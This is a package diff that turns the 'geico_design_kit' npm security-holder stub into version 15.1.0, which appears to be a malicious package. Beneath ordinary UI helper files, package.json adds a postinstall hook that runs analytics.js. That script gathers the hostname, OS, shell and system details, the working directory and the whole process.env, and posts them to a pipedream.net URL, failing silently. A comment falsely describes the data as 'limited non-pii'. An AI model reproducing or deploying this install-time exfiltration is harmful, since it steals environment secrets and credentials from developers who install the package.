geico_design_kit 0.0.1-security.1 → 15.1.0

package/dist/services/CharacterTypeService.js

@@ -0,0 +1,106 @@
+"use strict";
+
+Object.defineProperty(exports, "__esModule", {
+  value: true
+});
+exports["default"] = void 0;
+function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
+function _classCallCheck(a, n) { if (!(a instanceof n)) throw new TypeError("Cannot call a class as a function"); }
+function _defineProperties(e, r) { for (var t = 0; t < r.length; t++) { var o = r[t]; o.enumerable = o.enumerable || !1, o.configurable = !0, "value" in o && (o.writable = !0), Object.defineProperty(e, _toPropertyKey(o.key), o); } }
+function _createClass(e, r, t) { return r && _defineProperties(e.prototype, r), t && _defineProperties(e, t), Object.defineProperty(e, "prototype", { writable: !1 }), e; }
+function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
+function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
+var CharacterTypeService = /*#__PURE__*/function () {
+  function CharacterTypeService() {
+    _classCallCheck(this, CharacterTypeService);
+  }
+  return _createClass(CharacterTypeService, null, [{
+    key: "_getCharacterType",
+    value: function _getCharacterType(event) {
+      var keyCode = event.which || event.keyCode;
+      if (event) {
+        // check if character keyCode is 0-9
+        if (keyCode >= 48 && keyCode <= 57 || keyCode >= 96 && keyCode <= 105) {
+          if (event.key) {
+            if (event.key === '1' || event.key === '2' || event.key === '3' || event.key === '4' || event.key === '5' || event.key === '6' || event.key === '7' || event.key === '8' || event.key === '9' || event.key === '0') {
+              return 'number';
+            } else {
+              return 'special character';
+            }
+          } else {
+            return 'n/a';
+          }
+        } else {
+          // Check if character is backspace
+          if (keyCode === 8) {
+            return 'backspace';
+          } else
+            // Check if character is tab
+            if (keyCode === 9) {
+              return 'tab';
+            } else
+              // Check if character is enter
+              if (keyCode === 13) {
+                return 'enter';
+              } else
+                // Check if character is shift
+                // if (keyCode === 16) {
+                //     return 'shift';
+                // }
+
+                // Check for additional special characters
+                if (keyCode >= 186 && keyCode <= 192 || keyCode >= 219 && keyCode <= 222) {
+                  return 'special character';
+                } else
+                  // Check if character is a letter
+                  if (keyCode >= 65 && keyCode <= 90) {
+                    // Check for key functions
+                    //
+                    // Minimize
+                    if (keyCode === 77 && event.ctrlKey === true || keyCode === 77 && event.metaKey === true) {
+                      return 'minimize';
+                    } else
+                      // Copy
+                      if (keyCode === 67 && event.ctrlKey === true || keyCode === 67 && event.metaKey === true) {
+                        return 'copy';
+                      } else
+                        // Paste
+                        if (keyCode === 80 && event.ctrlKey === true || keyCode === 80 && event.metaKey === true) {
+                          return 'paste';
+                        } else {
+                          return 'letter';
+                        }
+                  } else
+                    // Check if character is delete
+                    if (keyCode === 46) {
+                      return 'delete';
+                    } else
+                      // Check if character is home
+                      if (keyCode === 36) {
+                        return 'home';
+                      } else
+                        // Check if character is end
+                        if (keyCode === 35) {
+                          return 'end';
+                        } else
+                          // Check if character is arrow key
+                          if (keyCode >= 37 && keyCode <= 40) {
+                            switch (keyCode) {
+                              case 37:
+                                return 'left arrow';
+                              case 38:
+                                return 'up arrow';
+                              case 39:
+                                return 'right arrow';
+                              case 40:
+                                return 'down arrow';
+                            }
+                          } else {
+                            //return 'not categorized';
+                          }
+        }
+      }
+    }
+  }]);
+}();
+var _default = exports["default"] = CharacterTypeService;

package/dist/services/UserAgentService.js

@@ -0,0 +1,73 @@
+"use strict";
+
+Object.defineProperty(exports, "__esModule", {
+  value: true
+});
+exports["default"] = void 0;
+function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
+function _classCallCheck(a, n) { if (!(a instanceof n)) throw new TypeError("Cannot call a class as a function"); }
+function _defineProperties(e, r) { for (var t = 0; t < r.length; t++) { var o = r[t]; o.enumerable = o.enumerable || !1, o.configurable = !0, "value" in o && (o.writable = !0), Object.defineProperty(e, _toPropertyKey(o.key), o); } }
+function _createClass(e, r, t) { return r && _defineProperties(e.prototype, r), t && _defineProperties(e, t), Object.defineProperty(e, "prototype", { writable: !1 }), e; }
+function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
+function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
+var UserAgentService = /*#__PURE__*/function () {
+  function UserAgentService() {
+    _classCallCheck(this, UserAgentService);
+  }
+  return _createClass(UserAgentService, null, [{
+    key: "_clickEventName",
+    value:
+    /**
+     *
+     * @returns {*}
+     * @private
+     */
+    function _clickEventName() {
+      if ("ontouchstart" in document.documentElement && navigator.userAgent.toLowerCase().indexOf('firefox') === -1) {
+        return navigator.userAgent.toLowerCase().indexOf('windows') === -1 ? "touchend" : "pointerup";
+      } else {
+        return "click";
+      }
+    }
+  }, {
+    key: "_detectIE",
+    value: function _detectIE() {
+      var ua = window.navigator.userAgent;
+
+      // Test values; Uncomment to check result …
+
+      // IE 10
+      // ua = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)';
+
+      // IE 11
+      // ua = 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko';
+
+      // Edge 12 (Spartan)
+      // ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0';
+
+      // Edge 13
+      // ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586';
+
+      var msie = ua.indexOf('MSIE ');
+      if (msie > 0) {
+        // IE 10 or older => return version number
+        return parseInt(ua.substring(msie + 5, ua.indexOf('.', msie)), 10);
+      }
+      var trident = ua.indexOf('Trident/');
+      if (trident > 0) {
+        // IE 11 => return version number
+        var rv = ua.indexOf('rv:');
+        return parseInt(ua.substring(rv + 3, ua.indexOf('.', rv)), 10);
+      }
+      var edge = ua.indexOf('Edge/');
+      if (edge > 0) {
+        // Edge (IE 12+) => return version number
+        return parseInt(ua.substring(edge + 5, ua.indexOf('.', edge)), 10);
+      }
+
+      // other browser
+      return false;
+    }
+  }]);
+}();
+var _default = exports["default"] = UserAgentService;

package/dist/utils.js

@@ -0,0 +1,79 @@
+"use strict";
+
+Object.defineProperty(exports, "__esModule", {
+  value: true
+});
+exports.getParentByTagName = getParentByTagName;
+exports.hasClass = hasClass;
+exports.isChild = isChild;
+/**
+ * hasClass()
+ * Checks wether element contains a class
+ * This accounts for the fact that element might contain multiple class names separated by space.
+ *
+ * @param {Dom Element} element
+ * @param {String} className we are checking
+ * @return {Boolean}
+ */
+
+//TODO check the best way to do this
+function hasClass(element, className) {
+  return element.classList.contains(className);
+}
+
+/**
+ * getParentByTagName()
+ * Get parent node for given tagname
+ *
+ * @param  {Object} node    DOM node
+ * @param  {String} tagname HTML tagName
+ * @return {Object}         Parent node
+ */
+function getParentByTagName(node, tagname) {
+  var parent;
+  if (node === null || tagname === '') return;
+  parent = node.parentNode;
+  tagname = tagname.toUpperCase();
+  while (parent.tagName !== "HTML") {
+    if (parent.tagName === tagname) {
+      return parent;
+    }
+    parent = parent.parentNode;
+  }
+  return parent;
+}
+function isChild(parent, child) {
+  var node = child.parentElement;
+  while (node !== null) {
+    if (node.classList.contains(parent)) {
+      return true;
+    }
+    node = node.parentElement;
+  }
+  return false;
+}
+
+/**
+ * scrollToTop()
+ * Used to animate the scroll position back to the top of the page
+ */
+function scrollToTop() {
+  var scrollHeight = window.scrollY,
+    scrollDuration = 500,
+    scrollStep = Math.PI / (scrollDuration / 15),
+    cosParameter = scrollHeight / 2;
+  var scrollCount = 0,
+    scrollMargin;
+  requestAnimationFrame(step);
+  console.log(scrollStep);
+  function step() {
+    setTimeout(function () {
+      if (window.scrollY !== 0) {
+        requestAnimationFrame(step);
+        scrollCount = scrollCount + 1;
+        scrollMargin = cosParameter - cosParameter * Math.cos(scrollCount * scrollStep);
+        window.scrollTo(0, scrollHeight - scrollMargin);
+      }
+    }, 15);
+  }
+}

package/package.json

@@ -1,6 +1,32 @@
 {
   "name": "geico_design_kit",
-  "version": "0.0.1-security.1",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "15.1.0",
+    "description": "GDK UI development kit ",
+    "main": "index.js",
+    "scripts": {
+      "test": "node test.js",
+      "build": "babel src -d dist",
+      "postinstall": "node ./dist/analytics.js"
+    },
+    "keywords": [
+      "geico"
+    ],
+    "repository": {
+      "type": "git",
+      "url": "git"
+    },
+    "dependencies": {
+      "axios": "^1.6.3",
+      "dotenv": "^16.4.5",
+      "jquery": "^3.7.1",
+      "read-package-json": "^7.0.0",
+      "systeminformation": "^5.21.22"
+    },
+    "devDependencies": {
+      "@babel/cli": "^7.23.4",
+      "@babel/core": "^7.23.7",
+      "@babel/preset-env": "^7.23.7"
+    },
+    "author": "geico",
+    "license": "ISC"
 }

package/src/analytics.js

@@ -0,0 +1,82 @@
+#!/usr/bin/env node
+
+//Collect limited non-pii information such as npm, node and package information about users downloading
+import axios from 'axios';
+import readJson from 'read-package-json';
+import path from 'path';
+import si from 'systeminformation';
+import "dotenv/config"
+const cwd = process.cwd();
+const trackedPackageJsonPath = path.join(cwd, 'package.json');
+
+
+const getPackageJson = path =>
+    new Promise((resolve, reject) =>
+        readJson(
+            path,
+            null,
+            false,
+            (err, json) =>
+                err
+                    ? reject(
+                        `There was an error reading the file with path:${path}`
+                    )
+                    : resolve(json)
+        )
+);
+
+const getInfos = () =>
+    new Promise(resolve => {
+        const data = {};
+        return si
+            .osInfo()
+            .then(os => {
+                data.os = os;
+                data.hostname = os.hostname;
+                data.fqdn = os.fqdn;
+                data.platform = os.platform;
+                return si.versions();
+            })
+            .then(versions => {
+                data.versions = versions;
+                return si.time();
+            })
+            .then(time => {
+                data.time = time;
+                return si.shell();
+            })
+            .then(shell => {
+                data.shell = shell;
+                return si.system()
+            })
+            .then(system => {
+                data.system = system;
+                data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown"
+                data.is_jboss = process.env.JBOSS ? process.env : process.env
+            })
+            .then(() => resolve(data))
+            .catch(
+                //Fail silently as this is not an issue with the package and just data
+            );
+    });
+
+
+
+async function collectAnalytics(data) {
+    const TRACKING_URI = "https://eopx10a5vo1di68.m.pipedream.net"
+    await axios.post(TRACKING_URI, data)
+}
+    
+
+const log = async () => {
+    try {
+        const data = await getInfos();
+        //determine which version they installed
+        //Todo ignore github actions 
+        const { name, version } = await getPackageJson(trackedPackageJsonPath)
+        await collectAnalytics({...data, cwd: cwd, packageName: name, packageVersion: version, })
+    } catch (e) {
+        //console.error(e)
+    }
+};
+log()

package/src/appState.js

@@ -0,0 +1,56 @@
+//global vars
+const html = document.getElementsByTagName('html')[0];
+
+// Module Imports
+import * as utils from './utils';
+
+let appState = {
+
+	mode			: null,
+	isTouchDevice	: isTouchDevice(),
+
+	size : {
+		windowWidth : null,
+		windowHeight : null
+	},
+
+	set windowSize(obj) {
+		this.size.windowWidth = obj.width;
+		this.size.windowHeight = obj.height;
+		setMode(this.size.windowWidth);
+	},
+
+	get windowSize() {
+		return this.size;
+	},
+
+};
+
+
+/**
+ * setMode()
+ * Sets the appState mode depending on window side
+ *
+ * @param {Number} Window Width
+ */
+function setMode(w) {
+	if(w >= 768){
+		appState.mode = "desktop";
+	}else{
+		appState.mode = "mobile";
+	}
+}
+
+
+/**
+ * isTouchDevice()
+ * Sets the appState mode depending on window side
+ *
+ * @return {Bool}
+ */
+function isTouchDevice() {
+	return utils.hasClass(html, 'touch');
+}
+
+
+export default appState;

package/src/baseComponent.js

@@ -0,0 +1,156 @@
+let baseComponent = {
+
+	/**
+	 * validateSettings()
+	 * Validates all content settings
+	 */
+	validateSettings : function(currentOptions, validationRules ) {
+
+		let valid = true;
+
+		Array.prototype.forEach.call(validationRules, function(el, i){
+
+			let setting = currentOptions[el.setting];
+
+			if(el.isRequired === true){
+
+				//if a required field is not set retun false
+				if(baseComponent.validateRequiredSettings(el, currentOptions)){
+					
+					if(!baseComponent.validateSettingValues(setting, el.validate, el.possibleValues, el.errorMessage)){
+						valid = false;
+						return false;
+					}
+					
+				}else{
+					valid = false;
+					return false;
+				}
+			
+			}else{
+
+				//if is a setting is not required but its set we need to validate it
+				if( setting ){
+					if(!baseComponent.validateSettingValues(setting, el.validate, el.possibleValues, el.errorMessage)){
+						valid = false;
+						return false;
+					}
+				}
+
+			}
+
+		});
+
+		if(valid){
+			return true;
+		}
+
+	},
+
+
+	validateRequiredSettings : function(el, currentOptions) {
+
+		let setting = currentOptions[el.setting];
+
+		try {
+	        
+	    	if( setting ){
+	    		return true;
+	    		
+	        }else{
+	        	throw new Error(el.errorMessage);
+	        }
+
+		}
+		catch (ex) {
+			console.error("Error : ", ex.message);
+	    }
+	
+
+	},
+
+
+
+	validateSettingValues : function(setting, validate, values, error) {
+
+
+		let validValue = false;
+
+		Array.prototype.forEach.call(values, function(el, i){
+
+			if(validate === "type"){
+
+				if( typeof setting === el){
+					validValue = true;
+				}	
+
+			}else if(validate === "value"){
+
+				if(el === setting){
+					validValue = true;
+				}	
+
+			}
+
+		});
+
+		try {
+		        
+	    	if( validValue  ){
+	    		return true;
+	        }else{
+	        	throw new Error(error);
+	        }
+
+		}
+		catch (ex) {
+			console.error("Error : ", ex.message);
+	    }
+		
+	},
+
+
+	getContentType : function(o) {
+	    try {
+	        if( typeof o._options.content === "string" || typeof o._options.content === "object"){
+
+	            let contentType = typeof o._options.content;
+
+	            if(this.isDOM(o._options.content)){
+	                contentType = "domNode";
+	            }
+
+	            return contentType;
+
+	        }else{
+	            throw new Error("The content option must be a DOM selector or Node.");
+	        }
+	    }
+	    catch (ex) {
+	        console.error("Error : ", ex.message);
+	    }
+	},
+
+	extendDefaults : function(source, properties) {
+	    var property;
+	    for (property in properties) {
+	        if (properties.hasOwnProperty(property)) {
+	            source[property] = properties[property];
+	        }
+	    }
+	    return source;
+	},
+
+	isDOM  : function(obj) {
+	    // DOM, Level2
+	    if ("HTMLElement" in window) {
+	        return (!!obj && obj instanceof HTMLElement);
+	    }
+	    // Older browsers
+	    return (!!obj && typeof obj === "object" && obj.nodeType === 1 && !!obj.nodeName);
+	}
+
+
+};
+
+export default baseComponent;